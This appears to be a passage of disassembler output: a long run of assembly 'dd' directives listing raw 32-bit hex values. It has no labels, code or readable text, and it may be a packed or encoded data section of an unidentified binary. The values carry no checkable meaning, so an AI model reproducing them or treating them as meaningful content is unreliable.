dd 798B8D9h, 372DBCh, 395F1D5h, 0F0421F17h, 46D0C654h dd 0A572B1ECh, 0C023A004h, 8802DA8h, 50BA936Ch, 51F39CA2h dd 840CB2FCh, 5815F668h, 82007CA7h, 8533C1DCh, 20097EDh dd 0E4B920E5h, 7A3EFBCDh, 7CD3289Ch, 0B0B57C94h, 70F13C94h dd 67391586h, 18D3C9B7h dd 4D4C2100h, 0C1828359h, 19C4C198h, 75A42433h, 6203EC00h dd 9423E0A1h, 9E1F0327h, 9363A2C1h, 0A8003FEBh, 664BC621h dd 0C1F9BAF0h, 5306AB1h, 11282043h, 0E3444A01h, 6F428D73h dd 58B0B0C2h, 0DC7A30B4h, 6F4448F8h, 6A39120Ch, 545E218Eh dd 0F779CFFh, 0F22E27ABh, 4B4CE660h, 0E2035305h, 0C0445538h dd 624DA2BBh, 3328805Ch, 752A8Eh, 0CB9A87DFh, 0A32093ECh dd 0E43D6B07h, 592C49E3h, 22970043h, 40B42FD3h, 0FB19E223h dd 0D28173C2h, 0F0989DFCh, 66B0019Eh, 0ECA9F612h, 0FC94306Dh dd 49C73B30h, 0AF4DE3Ch, 7C3EA00Dh, 11D83070h, 0DA382353h dd 64668127h, 0FD05FC6Eh, 82000827h, 0FF193B60h, 1065C264h dd 2836741h, 5D8EB817h, 218427DFh, 70410BC0h, 29615E33h dd 7A24A8CEh, 0F71A1EFEh, 0F94240D3h, 4FE3AE9Eh, 9899A432h dd 492C8366h, 0D88103E2h, 682D1840h, 7F95B63Eh, 6DDAC50Ah dd 0B902C8A9h, 44F3FC28h, 3EA10060h, 0C6CA6854h, 621358DAh dd 4020C343h, 32A9E49h, 0B7BD4555h, 0A6A091E7h, 611DA9BEh dd 2930C2CCh, 327F157h, 0FDF0EDA1h, 0B5C23538h, 78C02044h dd 1A52CEADh, 375502E2h, 62F7C05Bh, 105DF461h, 1D20AC39h dd 46CFDE2Dh, 4137D8A1h, 2EC1900h, 55D0EA4Eh, 591F0056h dd 6CEB2ACFh, 4D03E79Eh, 523D2874h, 0DDB1B030h, 0CB15Eh dd 7B398C56h, 237092C2h, 3B6D5907h, 0C7200B22h, 2A3E9466h dd 28A4746Bh, 0E88B26Fh, 0AE42F336h, 0AF6F980h, 32601AB1h dd 9E1C3A9h, 0EC417470h, 0D6C600E9h, 0A30FB37Ch, 0C8C1129Dh dd 4B40ABDCh, 941CC20h, 3403AE4Ah, 91A82CA0h, 73023A39h dd 624C5AD6h, 0F1046018h, 3FFC7467h, 0C4AFB3CEh, 0B189E74h dd 15B415C9h, 98787393h, 3F12487h, 0C000110Fh, 0A718914Ah dd 2A6B1034h, 1A0FDD6h, 0A9C7B1E5h, 201D552Dh, 7D014821h dd 93037891h, 28D84540h, 86F1325h, 618211Ah, 0C3DEDC38h dd 0C4006775h, 2CBD0D76h, 3E8E327Ch, 58C868B9h, 5356009Ch dd 0C905B215h, 9F01D071h, 0FC131C85h, 0AAE9302Ch, 2A6641F0h dd 1843B1Ah, 0A77FCC5Bh, 41B34C8Fh, 30B192B7h, 731A9674h dd 61298662h, 8E1012C4h, 960050E3h, 90B94FD8h, 50539A9Dh dd 2C46A021h, 1188C58Ch, 889C00F0h, 0D39B5E10h, 56832E05h dd 673E0CE3h, 0D918EA21h, 0F7693A03h, 11E02Ah, 9038BA56h dd 1B6FA4B1h, 305E904h, 64805445h, 27DE8B0h, 0FC3EA662h dd 88C4F19Dh, 1C3444h, 84592D61h, 8AF8F62Bh, 182CEC3Bh dd 0BA79FFD6h, 87F100F7h, 0DACFC977h, 3E019080h, 142C7672h dd 80454CC4h, 88028089h, 0C254E066h, 0FCF850AFh, 0A1AA0077h dd 2B2AFB53h, 0D1C01DC3h, 2E57DFAh, 7F0B00CDh, 57FEB388h dd 8B00C109h, 981A56F9h, 5E91401Bh, 517BC6ADh, 0B559237Ch dd 0ECFC2924h, 84BBE480h, 0E7D0E34h, 0EDD1B533h, 0E06BC8C0h dd 533B06BCh, 0BEFB930Ah, 80C19C34h, 0F07094AEh, 6D750AD9h dd 1037FCh, 0CC98FACFh, 22F9DB42h, 0BFC20F50h, 99FF6014h dd 28A4EB9h, 0D04DA878h, 0B4882BECh, 56194288h, 0AD0D8CA1h dd 0B0BCCCA4h, 0A1DEBA00h, 7B2FAC8Dh, 0BF9B0286h, 71701309h dd 144640C1h, 0B8E5A4C0h, 0DCF13BAAh, 66771963h, 0D0C2E5FFh dd 55E1830Ch, 2A785900h, 5FD09336h, 0D2980065h, 0C2618457h dd 7E00F645h, 0A0EDE272h, 94D782h, 973DAA6Bh, 64FB838Bh dd 6A9A5B00h, 0D2C49667h, 0ABE00C93h, 6B20942Ah, 0C5004271h dd 243D9707h, 200B6520h, 1961D790h, 80619240h, 5634108Ch dd 86008D39h, 9E055C4Bh, 753F507h, 9A2A588h, 3AFD60B1h dd 200D0F7h, 3D107CA3h, 1DC10DAEh, 475C2968h, 0C3AF73D2h dd 5100E511h, 2C063F67h, 30DD31FEh, 3D195BABh, 0DB00CB28h dd 0B02AC0C3h, 1E63E205h, 50F3F2h, 176540E0h, 0D897F71Eh dd 1E8EE0B6h, 0ED55C42h, 89022C6Ah, 3FC0FDD7h, 0D8C38377h dd 2B1910h, 0A9585561h, 0AEF7E228h, 45C0A0A8h, 96FEFB7Ah dd 5A387203h, 0D6D0199h, 0F565D730h, 551BE029h, 68D3C8A0h dd 29FA1702h, 985A250Eh, 0F5D8C0h, 0FF67A022h, 0BA2915E6h dd 8C0F1011h, 596CD818h, 6F0087E0h, 118291DFh, 0FE9C3442h dd 639803FFh, 9665DE10h, 2D007996h, 99518972h, 61F261BAh dd 0D6101960h, 0F122D83Ah, 83C16D00h, 0D08F2641h, 97C00B1h dd 0A43D39F4h, 6500524Eh, 5AC9CCC0h, 60D86E36h, 96698953h dd 410407DAh, 8AED3A89h, 8C1BC0AEh, 57001AE0h, 0C91BD03Bh dd 0E8F117h, 42D21EA6h, 99A3F88Ah, 0B4A8CBF0h, 94A8178Ch dd 9C00E02Eh, 0E51810A5h, 56F848h, 87935E39h, 0C30A726Dh dd 8DA8FD00h, 0F3B2C8C4h, 9ED1C092h, 0BE5FD225h, 0B85AD100h dd 0C139EE6Fh, 0A50E022Fh, 7D37312h, 7A4E1C40h, 0E2AA5E11h dd 92F4E00Fh, 7D3B3C80h, 597EF6DDh, 0ADFB3D00h, 0BDE90364h dd 38AB2AEFh, 0EAA000D4h, 143FA110h, 2402304Ch, 0D8A3933Ah dd 1BD70077h, 2F0104D5h, 0F610912Bh, 7BF7FFC6h, 0B8CB00A9h dd 960790F5h, 0CA0469D3h, 0F72844F1h, 57D91080h, 23FD1438h dd 0C90028CFh, 0AF16A526h, 0B40F3C6Ch, 4286CC57h, 40247E6Dh dd 5D1C068h, 59DA14EBh, 0A9940520h, 198880CFh, 98096490h dd 82A4A3h, 0A0D1AB0h, 176A3CCCh, 84261615h, 218A5703h dd 9CB0F619h, 0C49096C2h, 34A63A01h, 8FFAC517h, 72077C22h dd 63819141h, 410215ABh, 1F8DB1F0h, 0BEE440E7h, 72DEA8Ah dd 5D8FD47Fh, 0E1D05323h, 95EFEC8h, 2F79A807h, 278006EEh dd 12C05DC3h, 27AB4607h, 8EA1078h, 0CE00ECBBh, 4FE4F081h dd 158A777Ah, 0A8990A65h, 29C82324h, 41C580D8h, 0B50A883Eh dd 0B11C8F30h, 331D9E5h, 0BE296C5Dh, 0F08FDF24h, 490C883Ch dd 1A105713h, 18929809h, 135FF9Ch, 0DD33AC9h, 0C8E2556Fh dd 9EFE956Ch, 0C190CCABh, 0A171BC77h, 0AB50D39h, 0C030CB9Ch dd 0C74FD501h, 31DC92E5h, 92AFF217h, 19E21820h, 0A39CB189h dd 0C082BD00h, 12A7E4DEh, 7B0C3195h, 0DCCF7261h, 89009C11h dd 0A62343Bh, 1D149FCh, 4C0826C2h, 2035DF8Fh, 9CE0A11Ch dd 0F7A6604h, 8C88F10Bh, 0B22000ECh, 0C551BE82h, 5A07C405h dd 0A8FBB05Fh, 4438E102h, 27BE0084h, 0F37384A6h, 0B10C689Ch dd 0C6328DA7h, 6217036h, 85042320h, 5C9138CBh, 440A0F3Ch dd 6CB5A305h, 6BB0B8D5h, 362CA137h, 177CE0h, 0C76C324Ch dd 35E9664Bh, 0E0437312h, 6A890800h, 78AC3Dh, 0F1C9B38Eh dd 0DA518D8h, 442CC009h, 165C0066h, 4C95F9E0h, 65831CB8h dd 0E9249391h, 0D040D034h, 0B257BFh, 0EF9210D2h, 950CE073h dd 0AACAA53h, 0B027E2C5h, 65687101h, 24439893h, 0EB90029h dd 1E74BF48h, 0E091F2C7h, 3C552603h, 382AEEC8h, 8C0E1C70h dd 0AF205A40h, 6ECF28BDh, 0C4C669C0h, 1390218Eh, 0A751CAh dd 5ACBABCCh, 0C2005D46h, 4D18B9A2h, 0E0FBDD70h, 0AECC0D8Fh dd 0F0A877h, 6DC6C580h, 1D61F104h, 0C08814E2h, 0B66E24CCh dd 0FE1A00B4h, 0E8C98DBCh, 0E17390Ch, 54CFC1F5h, 1F7294C8h dd 0C0B47B97h, 0FBBB9FF7h, 1AE8CDBCh, 1D810500h, 973AAAC8h dd 4C844996h, 0DF8E1E03h, 0B3D3C0B1h, 0E61B6B88h, 0FD5CA800h dd 0D5BC44Bh, 0F1352466h, 911740C4h, 8505DDD3h, 0CA6224C9h dd 0D101C80h, 0F791C3E0h, 0C100A88Ch, 78FF5E77h, 18180BFDh dd 4997F170h, 0EF00D13Ch, 91DB6D67h, 30C2B4Eh, 2050C86Ch dd 413A138Fh, 905480EDh dd 89F47F0Dh, 8D1009Ch, 2CE4FAE7h, 0E4919D65h, 37F72301h dd 0F1D02269h, 9FC800D1h, 20B3F479h, 3B006A6Bh, 7DCF0C42h dd 6C2720Eh, 0F3664C4Fh, 5B004194h, 0B3A31DCh, 1EAFE71Ah dd 0F902C043h, 0E1506809h, 0F12FF001h, 7C31808Ch, 84EACC63h dd 4547162h, 0C46A3F93h, 5D2C88AAh, 6D20140Fh, 25E2E0CDh dd 3E17A4h, 0AA2D5746h, 0BCA1FF2Bh, 52D81C12h, 0BF902440h dd 38D5AF92h, 86001B31h, 0F36DF57h, 3489959h, 1C1C16Ch dd 0A8200617h, 9E6B027Ah, 16969A1Dh, 0A3009CA9h, 910FED5Dh dd 6C2C8600h, 0C348527Ch, 22E8B823h, 0A0908F9Ch, 5F636473h dd 81AB11h, 0DB1072C1h, 4619AAAEh, 0B8DC100h, 1F09B4D0h dd 0B91B12DEh, 47480717h, 0D82281B6h, 36A18F50h, 0E0C62E79h dd 0EA9F94FEh, 0D93F08B7h, 0C801C97h, 0F42A4683h, 0E9BB00C9h dd 3E713FDDh, 35C9502h, 5A348580h, 0D05DC4C3h, 0C06BD823h dd 2496CF19h, 7D0011E4h, 0C2E149EAh, 38DB8h, 17CA649Dh dd 0F1DC67D4h, 2F954A0Ch, 2143968h, 0BFFE8FF3h, 34521510h dd 9130BA0Eh, 0C2B70134h, 62817747h, 0A6BD7FDEh, 0C0FC4499h dd 2721ED20h, 0BF3E2C70h, 920807C5h, 5B498Bh, 0B6459DB4h dd 0FE9605A4h, 408AF128h, 2C422A8h, 83051ED9h, 0C926026h dd 881388CCh, 7B0027B0h, 29428AA1h, 0C015173Fh, 5A2E8341h dd 980BBDDBh, 190E1076h, 9D08D330h, 48C0D25Ch, 0A83A95h dd 995124D5h, 81D9CAh, 0F7FA0783h, 0BA9568F6h, 0C0692D03h dd 0E0D0F1CFh, 0CB21E0Dh, 1A8F2581h, 85FC6851h, 0AB4CA007h dd 0FB71F914h, 29D4D2F3h, 1EB41386h, 57C420AAh, 0F1029E06h dd 66743CF8h, 0D48CC0C8h, 0BFB444E7h, 0D89B9C08h, 86D7036Dh dd 0C7C09DF3h, 0F760D181h, 52D5CB30h, 3ADCB86Ah, 8003CF4h dd 900C7442h, 50016EABh, 0D49C725Dh, 0C8249F55h, 96F1225Eh dd 40FF6600h, 0AA70AF49h, 107A3D48h, 0BA80FCA1h, 0DF30AE2Ch dd 409094F7h, 1ABE87BDh, 56CE8E00h, 7483C8FDh, 2D340027h dd 0F53F39A2h, 3D2E1707h, 0D70EB019h, 0C80DE0F7h, 50898EA9h dd 0A61BC2Ch, 8597829Eh, 0F4088EA0h, 0BB205A2Fh, 28C46480h dd 5FB0C70Fh, 0D1F9A02Bh, 421C97Fh, 643FEC6Ch, 3E20B40Bh dd 9065EB12h, 64B0D030h, 0C408A028h, 1301714h, 69540856h dd 4E149711h, 86C7CC9Fh, 15F28121h, 4063D41Eh, 0AA2AACB0h dd 60018814h, 0F15D245Fh, 7F680242h, 6F196200h, 0A129F237h dd 0DDFB5900h, 0C8D0D644h, 0DF0E0032h, 0F58522C6h, 9001ACA0h dd 0A9639A4Bh, 31813C9Fh, 7BA8EA97h, 0B411802Eh, 0BCB72D0Ah dd 1195FB2h, 2BB3E81Ah, 25C0C37Fh, 0FB00A7A2h, 64AA13Dh dd 0ECFF8C2h, 0D400275h, 0C31E488Fh, 0B6212B44h, 31BF2901h dd 8D5A4DF3h, 49DC798Eh, 725B05C0h, 4B038ADFh, 627C85B9h dd 0E189002Bh, 98EB9126h, 0F0008AB8h, 456ED437h, 55072Bh dd 3308B1DBh, 0BF50C380h, 0B8237A00h, 0CA92D9DEh, 12461EFBh dd 444700C9h, 2B4F3C25h, 91A42F31h, 8981865Ah, 37BCD15Eh dd 0D61AE89Bh, 4401A400h, 1F9E8F24h, 30EF6541h, 95318059h dd 0B2784D4Bh, 2C756101h, 0EA34C703h, 90F025D1h, 1F5DFA0Bh dd 80F9299Bh, 49DA931Dh, 0F20055C0h, 0BFB2B4F8h, 3565F35h dd 2E7130A8h, 5AE0F98Bh, 1533D52Dh, 0F83DF848h, 0FE4356A9h dd 0D14A0063h, 92C8AEE4h, 0C51D4018h, 95809397h, 807ACAB0h dd 0C1B613D1h, 501FF67h, 0BBA23D30h, 8F33E980h, 0C0478DE5h dd 1ABD6E03h, 0F4B15B8h, 72160169h, 8E3A06C0h, 8000C5A2h dd 77B802A9h, 3ED1A3Fh, 71BDEB3Bh, 99C92A27h, 415980A6h dd 5DB342DEh, 3A8BB888h, 0DD008160h, 0F52131C0h, 0A418A0E1h dd 0F2319DA2h, 0B6800076h, 79BD1DD8h, 6286B6Ch, 250A84EEh dd 0B48B42C1h, 66DD7180h, 0AEDFA6h, 523C848Dh, 0DAF80644h dd 7BB03200h, 61F3C017h, 1E14922Dh, 391554h, 0F6D9E999h dd 0B000ED1Fh, 0C3F20D4Fh, 30119D2Eh, 0BE61F442h, 7100E15Ah dd 29C025A8h, 0EC16Dh, 6CAF5220h, 0D281A456h, 77F8BD05h dd 0D0409566h, 236F02DDh, 0EAFD7811h, 2080495Bh, 6281E300h dd 0E4CC28D2h, 89CF1300h, 9B22B455h, 32C000C4h, 0D3927F6Eh dd 10002BBDh, 4E6F8380h, 6CB3CBh, 0DF227AF9h, 10544DAh dd 8928F814h, 4C1E80D0h, 851216h, 90F37139h, 823F2676h dd 51320900h, 42521FC0h, 8F3B30ACh, 0B4B1CB91h, 9F32E600h dd 6F7AF219h, 65DA002Ah, 3370CA20h, 2612E938h, 382489C7h dd 0CD7F9BC1h, 0FBEC8h, 0D64721CFh, 0E5671BEDh, 0F8E1F103h dd 0BA89D9h, 0AF7B7F31h, 2C088E7Eh, 47BE1D1Fh, 41B79E80h dd 0E7F215A8h, 3CAC3DF4h, 20304398h, 0E5C02E39h, 0C626B00h dd 0FCCBA431h, 6ED500D4h, 0A59640D2h, 2813FB08h, 1C205A82h dd 0DE27D7Ah, 0AFBC8095h, 33672049h, 0E6584A06h, 1F6839F9h dd 63C2CD0h, 29F389DAh, 4D05431Dh, 624FCCC2h, 5F184834h dd 41678E8h, 0A5A3DA9Bh, 418CC09Dh, 4CF2EB81h, 52CAEE09h dd 0A3080C6h, 1825534Bh, 41DB02A8h, 7001893h, 31C4BCBAh dd 1203157Ah, 929032h, 0AB346FF8h, 0BD006B3Bh, 7749B961h dd 0F94D98h, 8EEF08B2h, 2AED3C2Bh, 9E998218h, 609E3E9h dd 61F9A258h, 14006932h, 1EEA49F1h, 9162CCDBh, 0F49F0778h dd 6E0D3073h, 0DA00F701h, 0E609F1B5h, 48A15066h, 1D2208B2h dd 43D49C83h, 814229h, 0EFF30419h, 0EA66D82Eh, 7E05D276h dd 0B7036AD0h, 80738809h, 25C6E1A4h, 356E0284h, 349C5C79h dd 99060446h, 70476FFAh, 0CD2D003Eh, 46EB4035h, 48073383h dd 8A3AEC58h, 27DBA460h, 60C099F9h, 839FECE4h, 0EB23B801h dd 0D8BA747Eh, 631427E8h, 8AE0694Dh, 0C97881BDh, 710BC092h dd 0EABDF000h, 0C1CD69D9h, 2F7A29A8h, 0E9C800D0h, 101C3433h dd 3C9DA300h, 0AC785CCFh, 360C29BFh, 61B680BCh, 0DB5BDF15h dd 89D29200h, 0A8299DB1h, 51276303h, 892EF415h, 8D00AB21h dd 2B9674E7h, 55710084h, 0E6E4CA93h, 0A963A22Fh, 81950259h dd 36D019D5h, 897D0071h, 10153B62h, 0F89006BBh, 0D36E611Dh dd 98875000h, 99D67F3Ah, 7EBA8054h, 88C79205h, 7000D79h dd 6EA89C54h, 0E4170Ch, 0F202810Bh, 16BE7033h, 28805C48h dd 0C822B451h, 7ED916A5h, 5E1803F6h, 2004EA64h, 0E705A245h dd 7E166800h, 7C0F07C9h, 4055FBC2h, 0AF10A060h, 8177003Ch dd 0F302F637h, 6D071679h, 93289A5Eh, 0C8926AE0h, 2C689855h dd 40945A9Ch, 5058CD19h, 0EAC4E701h, 6DFBD491h, 30C9DDCh dd 0B972A787h, 15A10DFAh, 0ADAC50DEh, 6B02CFEEh, 865064C5h dd 40006A07h, 1D53901Ch, 801104A8h, 0B2FD3374h, 5126A6A7h dd 0A2402C86h, 7E6DA3h, 0A41A660Ch, 99EFACB8h, 1B4AD801h dd 0C4C35B26h, 30736820h, 6D08FD93h, 0E774599h, 0CEB28412h dd 0B082B034h, 0FC37C053h, 0FAE0012h, 0C068BD8Ah, 900A2164h dd 0B0A8A250h, 56777A80h, 1D9DE624h, 0C0C55154h, 0D7DB1B45h dd 0D34CAC0Bh, 0B18084CCh, 0C860C8h, 12ED72EAh, 0F2BC87F8h dd 0A29919C6h, 25D70059h, 49712888h, 8000FE6Ah, 0BB06E7EAh dd 528C43h, 379ACBC9h, 18D15AD9h, 0DAF1381Dh, 2408306Eh dd 0AC1D0711h, 2981EC21h, 0D41D7A7Eh, 0DA80E2CAh, 5404D6D0h dd 4CB202F0h, 32A5B6C8h, 303D9041h, 9015A64h, 0A83FC00Bh dd 0D822422Bh, 3B87E900h, 0B2C92F19h, 558A6100h, 41B393DDh dd 32BF00FBh, 0D3DA8570h dd 91FA6E1Fh, 0C2CBF114h, 811309DCh, 489800FCh, 50AC4436h dd 2A805028h, 10844AB4h, 7CEF4209h, 0D40E0AB0h, 8B9448h dd 2B0A19B8h, 715C0737h, 3165F2D8h, 32622998h, 0E3FF0A9Ch dd 300BC4Ch, 0C07B87CCh, 0A3B51683h, 252802F8h, 0E4C80F6Fh dd 6D0D08A9h, 71E71EACh, 9D044Ch, 7695D8EEh, 0AC19C0E9h dd 32B5CD03h, 0B192FD81h, 20C6A22Ah, 75895806h, 0F8C28526h dd 8F16B300h, 1E1F93Ah, 4EB9F030h, 14B6742Bh, 5A939400h dd 445B84h, 72A2EBC1h, 85F8C8C3h, 0DA9F2F0Eh, 214161B1h dd 0E840BB9Ah, 6A27AC3Ah, 2BCA9E4h, 4B6FD9A9h, 0BDD8C840h dd 1118C5ECh, 1FD865D6h, 2F9E884h, 807AD978h, 8509F3AEh dd 78161DCCh, 8C9C700Ah, 8FC40F05h, 20D1A082h, 5316185Eh dd 0E7F89400h, 28E1BCBBh, 88B10531h, 0C4ACC44Ah, 299C220Bh dd 875FC620h, 83850040h, 0FD8077Dh, 9D302F16h, 0D21A68EAh dd 40634A81h, 0FDF50AF4h, 0C107DC04h, 0F70DA839h, 0D0AAA03Eh dd 9977F1Ch, 410CC05Dh, 9C404C01h, 2759D0E4h, 84B4F8C1h dd 0E2E8078Fh, 1A92564h, 0E3BD64A0h, 93015DB3h, 0B71BFAD2h dd 8771165Ah, 0A05C2180h, 35E8C6A5h, 71D5C100h, 0E55DBCFDh dd 30BF01E9h, 0CBF7A6EEh, 48006214h, 53D50EFAh, 83392919h dd 0DE5CE880h, 9F752E99h, 2F83F7Ch, 0ACF63698h, 70481E3Ah dd 4C04E83Dh, 214B0A0h, 6D5C70D0h, 0A0779BBh, 0BEBCAADEh dd 828D0090h, 1F9D53AFh, 9B526904h, 38A441EAh, 0D2FC00DEh dd 0D8DCF763h, 0BD02F667h, 9E5A15D9h, 8CE04057h, 24415837h dd 0FF476380h, 76077AF8h, 6A33CC27h, 5EDB2E0h, 3F9A00B0h dd 0D1D2BCA1h, 9F07FA9Ch, 0A81F9856h, 944BE255h, 0BBF8108Ah dd 124272ACh, 50F1F7h, 0BC9744E4h, 0C903CD7Ah, 61CB10E8h dd 63900DFh, 0A2C2728Fh, 8E008191h, 290364EAh, 13CC311Bh dd 0FE7C17h, 8A6E97CAh, 0C40CA768h, 41350DA9h, 1A0A3FB2h dd 0C8029A4h, 15192864h, 8D006491h, 68699921h, 1898A0AEh dd 0A861072Ch, 0A0ADD29Ah, 92E1274Ch, 0BCA19924h, 7EC7F780h dd 0F447AC2Fh, 403C9624h, 8A504FF2h, 0FB2C517Ah, 80008092h dd 948E6609h, 634CB00Dh, 0C1B779F4h, 39990EA0h, 7A62D3Ah dd 87A93CBFh, 732BB970h, 0D271C0A0h, 107482D0h, 0FC27282Eh dd 9690300h, 12A7EB99h, 206230A1h, 83B05448h, 0AAEC6100h dd 15DABFB7h, 6308071Ah, 0C9729E64h, 98D07800h, 9C994260h dd 43F14500h, 4D4FB789h, 0F81268CAh, 2E404F7h, 3E70005Ah dd 1FCF831Bh, 0C31D63F9h, 2278F8FAh, 7018C1E5h, 53831154h dd 9CE22470h, 5DE800A4h, 4E4DD761h, 278C3Dh, 678B99Ah dd 306C9431h, 0B796FBBCh, 0C8929C4Ch, 0F9EA3802h, 0A923B187h dd 0C8941B98h, 5146A5h, 0D49BA0CFh, 0F7065FCDh, 7225B000h dd 240C2211h, 590398EAh, 0A00C08D9h, 0C841A399h, 4E363Eh dd 0C5492DACh, 7CAB0Ch, 0E6F40141h, 9A2A0534h, 0D2A4FB5Ch dd 0A0BB1803h, 0EB0BC031h, 7B6E00FFh, 34A79B1h, 0E109C605h dd 0E499A898h, 8A7F1480h, 4A02804Eh, 20AC60E4h, 7B7ABC66h dd 787AC02Fh, 4C4D4CC9h, 9648EC00h, 69B4DA11h, 0FF17CB00h dd 405BCAA4h, 0CEB08C4h, 55802662h, 8666C721h, 3BD409CDh dd 0CC44FEA2h, 0E9705207h, 0F4F0B44Fh, 0E493408Ch, 38D206A8h dd 29195B12h, 46094402h, 685E2731h, 90282D40h, 0C48C5000h dd 0DC3648D1h, 0F86F880h, 95006F1Bh, 1FDE26CAh, 0FFEE9802h dd 521AD5F0h, 7500985Bh, 0CF92CD94h, 0DDE47ED8h, 0C1F6B000h dd 0FBE721CAh, 0B5D704B9h, 40329EA8h, 0A8499B2h, 343CB0EEh dd 80193007h, 6F424C10h, 1A306054h, 2240D00h, 6E11B7E8h dd 0BC513D98h, 0EF932DF0h, 0D003A7Eh, 5E4833BDh, 14101277h dd 58644079h, 0A5B0530Eh, 0E5CDEF01h, 3707A8C1h, 0F8927183h dd 0A7E27ED9h, 8900F844h, 72B0CC24h, 30018AB9h, 4B985275h dd 4DE8FCB6h, 7918980Eh, 0DC08B2F4h, 7AF982BBh, 0A8E04471h dd 0FA78DF60h, 0D902A4FEh, 0A96E5040h, 1385B7Bh, 5621362Ah dd 0A8C9E0F2h, 1F9FC200h, 0F8324BD9h, 823738CBh, 0BC9B0100h dd 0A9804816h, 0C9948094h, 0CC820B86h, 7A904842h, 0D0707A3h dd 205B8FCBh, 35AC2EE8h, 0F9211E60h, 2CB7B0B2h, 41D815B4h dd 20AA6CB5h, 5578DB8Fh, 8685B100h, 0A2BF431Fh, 5C6E482Ch dd 86FC131Fh, 3956A880h, 2C802890h, 460554E4h, 299A814Fh dd 0FB5B8480h, 88A4483Bh, 7FBA4000h, 0ABA5EB93h, 0CA90914h dd 0E98A89C0h, 20F44A28h, 0DC89096Ch, 90054F0Ch, 0DEE460A2h dd 0DB09B9FEh, 1723507h, 0F2C4D160h, 13A6A8C7h, 4D3201C0h dd 1F03FAEEh, 0EDB031C1h, 0D331F051h, 62F32D0Ch, 0BE79DEh dd 8FC9A406h, 33A85FC1h, 22EFFA00h, 13817326h, 0B8FD5C66h dd 0CB962705h, 0B69C00F8h, 7ACA9C85h, 3C6AAD00h, 8377F9A8h dd 0B3DA093Eh, 0B09041B0h, 0F008584h, 3D635B46h, 2C91198h dd 2C521AD2h, 0A1035382h, 6CA8F04Eh, 92C60051h, 0B7313218h dd 7B7240C7h, 9869192Ch, 16F63C00h, 74751A85h, 86AF00FDh dd 3BB3A85Ch, 2CE52CD6h, 14C85DCh, 9200B8A2h, 0C8E2486Eh dd 0E5000C47h, 39F6316h, 999C9D8h, 2E06A832h, 80584818h dd 2D2E26B0h, 431E54D8h, 0ACD5B012h, 0A0594C86h, 8608424h dd 0AFBD8095h, 3C70C880h, 2C6BFA96h, 477C8AEEh, 0F72080C2h dd 15289CF0h, 57010C89h, 45BB6C3Fh, 8020EFE7h, 28FC16A0h dd 0A8842187h, 7C142201h, 404C3C24h, 87173820h, 1C206249h dd 17AB3Bh, 2EF4DB57h, 0C55FA3C4h, 0FF8E780Eh, 0E52922C9h dd 398040A9h, 2B7C0077h, 8BDB443Ch, 6C943BACh, 48E518Fh dd 54E4A498h, 1CB9B1h, 5241EDCAh, 94A0B514h, 615CFA78h dd 606A8F30h, 0F0844292h, 2CD900F4h, 0A76B06C0h, 0F83CF371h dd 30A901B4h, 61F9C139h, 0AC014422h, 0BF78D206h, 0F7B8FC2Ch dd 8EC08700h, 0ED09C3F8h, 0D3E500B0h, 1A74F95Ah, 0C87B9D99h dd 8039D924h, 4D916C00h, 692693Ch, 154EE5D2h, 0BE03B125h dd 0EAE6862Eh, 0E0D0F852h, 30080019h, 35913E6Ah, 8239A248h dd 0B8BAAA60h, 0ECEBE00h, 0C6F7E3EBh, 984C509Ch, 70AA3BC2h dd 0DA7830CBh, 7AF28427h, 1430123Bh, 9CD008h, 13527BD3h dd 21D50Eh, 9CB1CDE4h, 35617E5h, 9862FA29h, 88BA9A00h dd 2189E63h, 0A081B6D6h, 0E079375Fh, 0F2CDFD00h, 117CEEh dd 57F7B3EBh, 0F1F80F55h, 34097BE4h, 1014DA95h, 1F2F6750h dd 40641566h, 0FF4E7DC9h, 71C0E062h, 0F297CBEFh, 0EDF400D9h dd 0FF76BF9h, 0F8EE96C8h, 0E4D1C00h, 9397EA48h, 4652798h dd 0F01D7891h, 9400F6D2h, 31DC0EC6h, 0C54549h, 0E5D13285h dd 0DB1A6548h, 9D48A0B0h, 927107D9h, 82EE2B1Bh, 98DF90ACh dd 0E0EF3CCh, 8F20D960h, 0E67F1400h, 0B500DE83h, 99E457A9h dd 98D2D8AAh, 8C7A0E60h, 1A80C5E0h, 0A887F2A7h, 0EC24D0B9h dd 0B0EC1B25h, 0F6CDD52Dh, 0FE3004F9h, 0C4AB120Dh, 43AE82C0h dd 316590E0h, 0E884B4B1h, 0EC8295AEh, 381522F9h, 84204EAh dd 7FB13180h, 42EE6B89h, 9D2DD9B8h, 0FFC82199h, 3CC91D1h dd 0EC630052h, 74C6E8ABh, 0CF011587h, 0DA18E7AEh, 2C6C26A1h dd 1C40B588h, 7F3E08A8h, 550B3ACh, 0F2801A6Fh, 71AF006Ch dd 2D937E22h, 0A47B00F5h, 84288BDFh, 8A0079EDh, 0E33D7268h dd 314198A1h, 0F20A7BDh, 0D452DE4Bh, 84826600h, 7A3E4E94h dd 222D1DDFh, 0B9F38538h dd 3910A03Fh, 0A4C45A01h, 91C883C1h, 312ACCh, 8E017ACCh dd 0F04F3C92h, 8790155Ch, 46B06151h, 82968Ah, 7AA0381Ch dd 0B0AEA5Eh, 1C3E182Ch, 0DA5AB402h, 3AA04162h, 7087448h dd 7ABD7768h, 0C2055BBAh, 0A2D4C85Ah, 733D3504h, 64A28D7Eh dd 4739C500h, 0F41CF9E8h, 0D636E900h, 0EAFE1DC7h, 3CB3B072h dd 0F280A622h, 0E2CC6837h, 0D73B9353h, 438582A3h, 820464E4h dd 93DE8B8h, 13938898h, 45416900h, 8D954B9Dh, 7B1E0EB2h dd 0FF62A716h, 484035F7h, 394AC73Fh, 86B888h, 0E619DF3Eh dd 1C8E0463h, 4BAC2400h, 37297473h, 0E57116BCh, 0A5BC8850h dd 7E5AA41Dh, 189FA000h, 51966Eh, 282DCE57h, 0DCB57307h dd 0E4F1B8A1h, 9C985BB3h, 24A47148h, 481E6842h, 194D74Bh dd 55842BC1h, 0C82C0C66h, 0F0B40814h, 92742182h, 9C4415h dd 9533E5B8h, 2C97E4F5h, 87F0AA02h, 0C0F7A983h, 4CCDC3F4h dd 8EC02CABh, 1F587B61h, 1953C003h, 0CF8029F6h, 92DACCB0h dd 0C62803C9h, 9B983C91h, 806A0EC8h, 0C852AF5Fh, 0DC24C8h dd 3B30712Bh, 0F1A20E75h, 1020534Eh, 0B1491AAh, 778CF3F0h dd 15459CA1h, 0D2B6DD21h, 0F8008C64h, 766A6D3Fh, 751D3BEDh dd 125B0039h, 45961518h, 671363BFh, 18130B8Ch, 0F02FE089h dd 0E90062FDh, 0C1454EDCh, 0B9E19FA8h, 0D111C4h, 1BF08D1Fh dd 14C82Fh, 